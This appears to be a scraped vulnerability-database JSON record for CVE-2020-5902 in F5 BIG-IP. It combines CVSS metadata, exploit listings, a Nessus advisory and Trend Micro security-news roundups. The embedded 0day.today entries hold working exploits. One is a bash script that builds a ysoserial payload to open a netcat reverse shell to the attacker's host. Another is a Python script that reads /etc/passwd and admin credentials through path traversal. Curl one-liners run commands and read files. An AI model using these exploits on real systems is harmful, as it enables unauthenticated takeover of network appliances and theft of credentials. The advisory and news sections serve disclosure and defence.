"exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-07-28T15:19:26", "id": "21D540EC-C4D0-5076-92B2-AA746AF7AEE4", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-04T08:17:02", "description": "F5 BIG-IP RCE\uff08CVE-2020-5902\uff09\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177\n==\n\n\n# Summary\n\n20200706\uff0c\u7f51\u4e0a\u66dd\u51fa...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T15:33:00", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-08-04T02:59:22", "id": "431446A1-D76F-5889-BBDD-1C55456A4D73", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-26T10:02:50", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-07T11:42:34", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T12:00:28", "id": "9DA6E85F-7AF2-5EE3-BF5C-A430C8DA3C4D", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-27T08:07:54", "description": "# CVE-2020-5902 BIG-IP RCE\n\n\n\n## Update ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-05T16:38:32", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-07-27T07:12:02", "id": "7F937E02-A1B2-5F78-B140-90BC298729D4", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-27T08:08:35", "description": "# CVE-2020-5902\nexploit code for F5-Big-IP (CVE-2020-5902)\n\n# S...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T01:12:23", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-07-27T07:12:03", "id": "2D3AD059-4772-527B-A78C-724AFA1B109F", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-07T02:06:21", "description": "# CVE-2020-5902-POC-EXP\n\n**\u4f7f\u7528\u65b9\u6cd5**\n\n python3 f5_rce.py scan ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T09:16:36", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-08-05T10:04:54", "id": "D4572C36-FAE8-5802-9B48-CF143220B909", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:31", "description": "# Cve-2020-5029-finder\nIt is a small script to fetch out the s...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-08T10:38:35", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5029", "CVE-2020-5902"], "modified": "2020-07-13T08:20:12", "id": "1348D3BB-7C57-5B0C-9B6B-EE26F534D536", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:49:11", "description": "# CVE-2020-5902\n## RCE\n/tmui/login.jsp/..;/tmui/locallb/workspac...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-25T02:07:41", "type": "githubexploit", "title": "Exploit for Cross-site Scripting in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-10-25T06:02:24", "id": "F22160B4-2E80-5B7D-8238-95D7833F6D73", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:55:02", "description": "# CVE-2020-6308-mass-explo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-12-30T03:08:17", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Sap Businessobjects Business Intelligence Platform", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, 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"2020-07-07T00:00:00", "id": "1337DAY-ID-34646", "href": "https://0day.today/exploit/description/34646", "sourceData": "BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution\r\n\r\n#!/bin/bash\r\n#\r\n# EDB Note Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48642.zip\r\n# \r\n# Exploit Title: F5 BIG-IP Remote Code Execution\r\n# Date: 2020-07-06\r\n# Exploit Authors: Charles Dardaman of Critical Start, TeamARES\r\n# Rich Mirch of Critical Start, TeamARES\r\n# CVE: CVE-2020-5902\r\n#\r\n# Requirements:\r\n# Java JDK\r\n# hsqldb.jar 1.8\r\n# ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar\r\n#\r\n\r\nif [[ $# -ne 3 ]]\r\nthen\r\n echo\r\n echo \"Usage: $(basename $0) <server> <localip> <localport>\"\r\n echo\r\n exit 1\r\nfi\r\n\r\nserver=${1?hostname argument required}\r\nlocalip=${2?Locaip argument required}\r\nport=${3?Port argument required}\r\n\r\nif [[ ! -f $server.der ]]\r\nthen\r\n echo \"$server.der does not exist - extracting cert\"\r\n openssl s_client \\\r\n -showcerts \\\r\n -servername $server \\\r\n -connect $server:443 </dev/null 2>/dev/null | openssl x509 -outform DER >$server.der\r\n\r\n keytool -import \\\r\n -alias $server \\\r\n -keystore keystore \\\r\n -storepass changeit \\\r\n -noprompt \\\r\n -file $PWD/$server.der\r\nelse\r\n echo \"$server.der already exists. skipping extraction step\"\r\nfi\r\n\r\njava -jar ysoserial-master-SNAPSHOT.jar \\\r\n CommonsCollections6 \\\r\n \"/bin/nc -e /bin/bash $localip $port\" > nc.class\r\n\r\nxxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex\r\n\r\nif [[ ! -f f5RCE.class ]]\r\nthen\r\n echo \"Building exploit\"\r\n javac -cp hsqldb.jar f5RCE.java\r\nfi\r\n\r\njava -cp hsqldb.jar:. \\\r\n -Djavax.net.ssl.trustStore=keystore \\\r\n -Djavax.net.ssl.trustStorePassword=changeit \\\r\n f5RCE $server payload.hex\n\n# 0day.today [2020-07-20] #", "sourceHref": "https://0day.today/exploit/34646", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-27T13:59:31", "description": "Exploit for hardware platform in category web applications", "cvss3": {}, "published": "2020-07-27T00:00:00", "type": "zdt", "title": "F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion Vulnerability", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-27T00:00:00", "id": "1337DAY-ID-34748", "href": "https://0day.today/exploit/description/34748", "sourceData": "# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion\r\n# Exploit Author: Carlos E. Vieira\r\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\r\n# Version: <= 13.1.3\r\n# Tested on: BIG-IP 13.1.3 Build 0.0.6\r\n# CVE : CVE-2020-5902\r\n\r\n#!/usr/bin/env python\r\n\r\nimport requests\r\nimport sys\r\nimport time\r\nimport urllib3\r\nimport json \r\nurllib3.disable_warnings()\r\n\r\nglobal target\r\n\r\ndef checkTarget():\r\n\r\n r = requests.head(target + \"/tmui/login.jsp\", verify=False)\r\n if(r.status_code == 200):\r\n return True\r\n else:\r\n return False\r\n\r\ndef checkVuln():\r\n\r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\", verify=False)\r\n if(r.status_code == 200):\r\n \r\n data = json.loads(r.text)\r\n if(len(data['output']) > 0):\r\n return True \r\n else:\r\n return False\r\n\r\n else:\r\n return False\r\n\r\ndef leakPasswd():\r\n print(\"[+] Leaking /etc/passwd from server\")\r\n time.sleep(2)\r\n exploit('/etc/passwd')\r\n\r\n\r\ndef leakHosts():\r\n print(\"[+] Leaking /etc/hosts from server\")\r\n time.sleep(2)\r\n exploit('/etc/hosts')\r\n\r\ndef leakLicence():\r\n\r\n print(\"[+] Leaking /config/bigip.license from server\")\r\n time.sleep(2)\r\n exploit('/config/bigip.license')\r\n\r\ndef leakAdmin():\r\n\r\n print(\"[+] Leaking admin credentials from server\")\r\n time.sleep(2)\r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin\", verify=False)\r\n if(r.status_code == 200):\r\n \r\n data = json.loads(r.text)\r\n if(len(data['output']) > 0 ):\r\n print(data['output'])\r\n else:\r\n print(\"[X] Admin credentials not found\")\r\n else:\r\n print(\"[X] Fail to read file\")\r\n\r\n\r\ndef exploit(file):\r\n \r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=\" + file, verify=False)\r\n if(r.status_code == 200):\r\n data = json.loads(r.text)\r\n print(data['output'])\r\n else:\r\n print(\"[X] Fail to read file\")\r\n\r\ndef memoryLeak():\r\n print(\"[!] Leaking tomcat process from server\")\r\n time.sleep(2) \r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline\", verify=False)\r\n if(r.status_code == 200):\r\n data = json.loads(r.text)\r\n if(len(data['output'])>0):\r\n print(\"Command: \" + data['output'])\r\n\r\ndef main(host):\r\n\r\n print(\"[+] Check target...\")\r\n global target\r\n target = \"https://\" + host\r\n\r\n check = checkTarget()\r\n if(check):\r\n print(\"[~] Target is available\")\r\n\r\n vuln = checkVuln()\r\n if(vuln):\r\n print(\"[+] Target is vulnerable!\")\r\n\r\n time.sleep(1)\r\n print(\"[~] Leak information from target!\")\r\n time.sleep(1)\r\n leakPasswd()\r\n leakHosts()\r\n leakLicence()\r\n leakAdmin()\r\n memoryLeak()\r\n else:\r\n print(\"[X] Target is't vulnerable\")\r\n\r\n else:\r\n print(\"[x] Target is unavailable\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n if(len(sys.argv) < 2):\r\n print(\"Use: python {} ip/dns\".format(sys.argv[0]))\r\n else:\r\n host = sys.argv[1]\r\n main(host)\n\n# 0day.today [2020-07-27] #", "sourceHref": "https://0day.today/exploit/34748", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-20T04:49:16", "description": "Exploit for linux platform in category web applications", "cvss3": {}, "published": "2020-07-07T00:00:00", "type": "zdt", "title": "BIG-IP 15.0.0 < 15.1.0.3 - Traffic Management User Interface (TMUI) Remote Code Execution (2)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T00:00:00", "id": "1337DAY-ID-34647", "href": "https://0day.today/exploit/description/34647", "sourceData": "BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution\r\n\r\n## RCE: \r\n\r\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\r\n\r\n## Read File: \r\n\r\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'\n\n# 0day.today [2020-07-20] #", "sourceHref": "https://0day.today/exploit/34647", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2022-07-31T16:34:26", "description": "The Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.(CVE-2020-5902)\n\nImpact\n\nThis vulnerability allows for unauthenticated attackers, or authenticated users, with network access to the Configuration utility, through the BIG-IP management port and/or self IPs, to execute arbitrary system commands, create or delete files, disable services, and/or execute arbitrary Java code. This vulnerability may result in complete system compromise. The BIG-IP system in Appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected.\n\nNote : All information present on an infiltrated system should be considered compromised. This includes, but is not limited to, logs, configurations, credentials, and digital certificates.\n\nImportant : If your BIG-IP system has TMUI exposed to the Internet and it does not have a fixed version of software installed, there is a high probability that it has been compromised and you should follow your internal incident response procedures. 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This week, read about how Trend Micro found an IoT Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion. Also, learn about how the Vermont Department of Taxes may have been exposing taxpayer data for more than three years.\n\nRead on:\n\n[**Ransomware is Still a Blight on Business**](<https://blog.trendmicro.com/ransomware-is-still-a-blight-on-business/>)\n\n_Ransomware has been with us for years, but only really became mainstream after the global WannaCry and NotPetya incidents of 2017. Now mainly targeting organizations in lieu of consumers, and with increasingly sophisticated tools and tactics, the cybercriminals behind these campaigns have been turning up the heat during the COVID-19 pandemic. That\u2019s why we need industry partnerships like No More Ransom._\n\n[**Garmin Outage Caused by Confirmed WastedLocker Ransomware Attack**](<https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/>)\n\n_Wearable device maker Garmin shut down some of its connected services and call centers last week following what the company called a worldwide outage, now confirmed to be caused by a WastedLocker ransomware attack._ _Garmin&#x27;s product line includes GPS navigation and wearable technology for the automotive, marine, aviation, marine, fitness, and outdoor markets._\n\n[**Trend Micro Launches Cloud Solution for Microsoft Azure**](<https://datacenternews.us/story/trend-micro-launches-cloud-solution-for-microsoft-azure>)\n\n_Trend Micro announced the availability of its Trend Micro Cloud One \u2013 Conformity offering to Azure customers, helping global organizations tackle misconfigurations, compliance challenges and cyber-risks in the cloud. The company also achieved the CIS Microsoft Azure Foundation Security Benchmark, certifying that the Conformity product has built-in rules to check for more than 100 best practices in the CIS framework._\n\n[**Ensiko: A Webshell with Ransomware Capabilities**](<https://blog.trendmicro.com/trendlabs-security-intelligence/ensiko-a-webshell-with-ransomware-capabilities/>)\n\n_Ensiko is a PHP web shell with ransomware capabilities that targets platforms such as Linux, Windows, macOS, or any other platform that has PHP installed. The malware has the capability to remotely control the system and accept commands to perform malicious activities on the infected machine. It can also execute shell commands on an infected system and send the results back to the attacker via a PHP reverse shell._\n\n[**\u2018Boothole\u2019 Threatens Billions of Linux, Windows Devices**](<https://www.scmagazine.com/home/security-news/boothole-threatens-billions-of-linux-windows-devices/>)\n\n_A newly discovered serious vulnerability \u2013 dubbed \u201cBootHole\u201d \u2013 with a CVSS rating of 8.2 could unleash attacks that could gain total control of billions of Linux and Windows devices. Security firm Eclypsium researchers released details this week about how the flaw can take over nearly any device\u2019s boot process._\n\n[**Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902**](<https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/>)\n\n_Following the initial disclosure of two F5 BIG-IP vulnerabilities in early July, Trend Micro continued monitoring and analyzing the vulnerabilities and other related activities to further understand their severities. Based on the workaround published for CVE-2020-5902, Trend Micro found an IoT Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload._\n\n[**Hackers Stole GitHub and GitLab OAuth Tokens from Git Analytics Firm Waydev**](<https://www.zdnet.com/article/hackers-stole-github-and-gitlab-oauth-tokens-from-git-analytics-firm-waydev/#ftag=RSSbaffb68>)\n\n_Waydev, a San Francisco-based company, runs a platform that can be used to track software engineers&#x27; work output by analyzing Git-based codebases. Earlier this month, the company disclosed a security breach, saying that hackers broke into its platform and stole GitHub and GitLab OAuth tokens from its internal database._\n\n[**Application Security 101**](<https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/application-security-101>)\n\n_As the world currently grapples with the disruption brought about by the coronavirus pandemic, the need for digital transformation has become not only more apparent but also more urgent. Applications now play an integral role, with many businesses and users relying on a wide range of applications for work, education, entertainment, retail, and other uses._\n\n[**Vermont Taxpayers Warned of Data Leak Over the Past Three Years**](<https://threatpost.com/vermont-taxpayers-warned-of-data-leak-over-the-past-three-years/157856/>)\n\n_The Vermont Department of Taxes may have been exposing taxpayer data that could be used in credential scams for more than three years due to a vulnerability in its online tax filing system. A notice posted on the department\u2019s website warned taxpayers who filed a Property Transfer Tax return through the department\u2019s online filing site between Feb. 1, 2017, and July 2, 2020, may have had their personal information leaked._\n\n[**Guidelines Related to Security in Smart Factories Part 6: MITRE ATT&amp;CK**](<https://www.trendmicro.com/us/iot-security/news/6036/Guidelines_Related_to_Security_in_Smart_Factories_Part_6_MITRE_ATT_CK>)\n\n_This blog series explains examples of general-purpose guidelines for ICS and OT security and helps readers understand the concepts required for security in smart factories. Thus far, part one through part five have explained IEC62443, the NIST CSF, part of the P800 series, and CIS Controls. In part six, Trend Micro explains MITRE ATT&amp;CK, although not a guideline, it is a knowledge base in which offensive and defensive technologies in cyber-attacks are clearly organized._\n\n[**If You Own One of These 45 Netgear Devices, Replace It: Firm Won&#x27;t Patch Vulnerable Gear Despite Live Proof-of-Concept Code**](<https://www.theregister.com/2020/07/30/netgear_abandons_45_routers_vuln_patching/>)\n\n_Netgear has decided not to patch more than 40 home routers to plug a remote code execution vulnerability \u2013 despite security researchers having published proof-of-concept exploit code. The vulnerability was revealed publicly in June by Trend Micro&#x27;s Zero Day Initiative (ZDI)._\n\n[**Online Dating Websites Lure Japanese Customers to Scams**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/online-dating-websites-lure-japanese-customers-to-scams>)\n\n_In May, Trend Micro observed a sudden increase in traffic for online dating websites primarily targeting Japanese customers. After analyzing and tracking these numbers, we found that these dating scam campaigns attract potential victims by using different website domains that have similar screen page layouts. By the end of the transactions, the fraudsters steal money from victims without the subscribers receiving any of the advertised results._\n\n[**ESG Findings on Trend Micro Cloud-Powered XDR Drives Monumental Business Value**](<https://blog.trendmicro.com/esg-findings-xdr/>)\n\n_Trend Micro\u2019s cloud-powered XDR and Managed XDR offerings optimize threat detection and response across all critical vectors. In a recent survey commissioned by Trend Micro and conducted by ESG, organizations surveyed experience faster detection and less alert fatigue as a result of intelligently using data from all their security controls (including those covering endpoints, email, servers, cloud workloads and networks)._\n\nHow does your organization manage threat detection and response? Share your thoughts in the comments below or follow me on Twitter to continue the conversation: [@JonLClay.](<https://twitter.com/jonlclay>)\n\nThe post [This Week in Security News: Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902 and Vermont Taxpayers Warned of Data Leak Over the Past Three Years](<https://blog.trendmicro.com/this-week-in-security-news-mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902-and-vermont-taxpayers-warned-of-data-leak-over-the-past-three-years/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2020-07-31T12:30:21", "type": "trendmicroblog", "title": "This Week in Security News: Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902 and Vermont Taxpayers Warned of Data Leak Over the Past Three Years", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-31T12:30:21", "id": "TRENDMICROBLOG:3981EF309A794B1CC15F5BBC6C2B181B", "href": "https://blog.trendmicro.com/this-week-in-security-news-mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902-and-vermont-taxpayers-warned-of-data-leak-over-the-past-three-years/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-10T15:54:49", "description": "\n\nWelcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums. Also, learn about a new Mirai variant that exploits nine vulnerabilities, most notable of which is CVE-2020-10173.\n\nRead on:\n\n[**Cloud Security is Simple, Absolutely Simple.**](<https://blog.trendmicro.com/cloud-security-is-simple/>)\n\n_\u201cCloud security is simple, absolutely simple. Stop over complicating it.\u201d This is the advice that Mark Nunnikhoven, vice president of cloud research at Trend Micro, shared to kick off his presentation at the CyberRisk Alliance Cloud Security Summit this year. Check out a recording of his talk in this blog recap to learn more._\n\n[**Order Out of Chaos: Tackling Phishing Attacks**](<https://securityboulevard.com/2020/07/order-out-of-chaos-tackling-phishing-attacks/>)\n\n_Responding to phishing attacks requires a combination of commodity tools, cutting-edge machine learning techniques and human-powered defense. That\u2019s how to create order out of chaos and beat the phishers at their own game, according to Trend Micro\u2019s Greg Young. Learn more in his recent article on phishing in Security Boulevard. _\n\n[**Beyond the Endpoint: Why Organizations are Choosing XDR for Holistic Detection and Response**](<https://blog.trendmicro.com/beyond-the-endpoint-why-organizations-are-choosing-xdr-for-holistic-detection-and-response/>)\n\n_The endpoint has long been a major focal point for attackers targeting enterprise IT environments. Yet increasingly, security teams are needing to protect data across the organization - whether it\u2019s in the cloud, on IoT devices, in email, or on-premises servers - attackers may jump from one environment to the next in multi-stage attacks 